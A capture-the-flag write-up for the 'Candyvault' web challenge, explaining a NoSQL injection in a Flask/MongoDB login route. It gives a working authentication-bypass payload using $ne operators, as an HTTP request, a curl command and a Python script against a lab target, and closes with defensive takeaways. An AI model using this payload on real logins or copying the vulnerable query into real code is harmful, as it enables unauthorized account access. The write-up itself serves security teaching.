HTB Hack The Boo Practice: Candyvault
Challenge Information
| Attribute | Details |
|---|---|
| Event | Hack The Boo Practice |
| Category | Web |
| Challenge | Candyvault |
| Difficulty | Very Easy |
Summary
A Flask web application uses MongoDB to store user credentials. The login form accepts both form-encoded and JSON content types, but performs a direct query without proper validation, making it vulnerable to NoSQL injection attacks. By crafting a malicious query, an attacker can bypass authentication and retrieve the flag.
Analysis
The vulnerable application code:
@app.route("/login", methods=["POST"])def login(): content_type = request.headers.get("Content-Type")
if content_type == "application/x-www-form-urlencoded": email = request.form.get("email") password = request.form.get("password")
elif content_type == "application/json": data = request.get_json() email = data.get("email") password = data.get("password")
else: return jsonify({"error": "Unsupported Content-Type"}), 400
user = users_collection.find_one({"email": email, "password": password})
if user: return render_template("candy.html", flag=open("flag.txt").read()) else: return redirect("/")Vulnerability Details:
- The login endpoint accepts JSON input
- User input (email and password) is directly used in MongoDB query without sanitization
- MongoDB allows query operators in dictionaries, such as
{"$ne": ""}(not equal) - If an attacker sends JSON with operator values, they can manipulate the query logic
Database Setup:
The application initializes 10 random users during migration:
def start_migration(): num_users = 10 for _ in range(num_users): random_user = generate_random_user() users_collection.insert_one(random_user)Solution
NoSQL Injection Attack
The login query can be bypassed using MongoDB operators. Instead of providing a string for email and password, send an object with a $ne (not equal) operator:
POST /login HTTP/1.1Content-Type: application/jsonContent-Length: 60
{ "email": {"$ne": ""}, "password": {"$ne": ""}}This transforms the MongoDB query to:
db.users.findOne({ email: {$ne: ""}, // email is not equal to empty string password: {$ne": ""} // password is not equal to empty string})Since the database contains legitimate users with non-empty emails and passwords, this query will return the first user in the collection, allowing login without knowing credentials.
Using curl:
curl -X POST http://target:1337/login \ -H "Content-Type: application/json" \ -d '{"email":{"$ne":""},"password":{"$ne":""}}'Using Python:
import requestsimport json
url = "http://target:1337/login"payload = { "email": {"$ne": ""}, "password": {"$ne": ""}}
response = requests.post( url, json=payload, headers={"Content-Type": "application/json"})
# If successful, response contains the flag in the candy.html pageprint(response.text)Key Takeaways
- Never trust user input, even from JSON requests
- Use parameterized queries and proper ORMs to prevent injection attacks
- MongoDB queries are susceptible to injection when operators can be injected as values
- Validate and sanitize all user input before using it in database queries
- Implement proper authentication mechanisms with salted password hashing (bcrypt, scrypt, argon2)
- Use allowlists for expected input formats rather than blacklisting dangerous patterns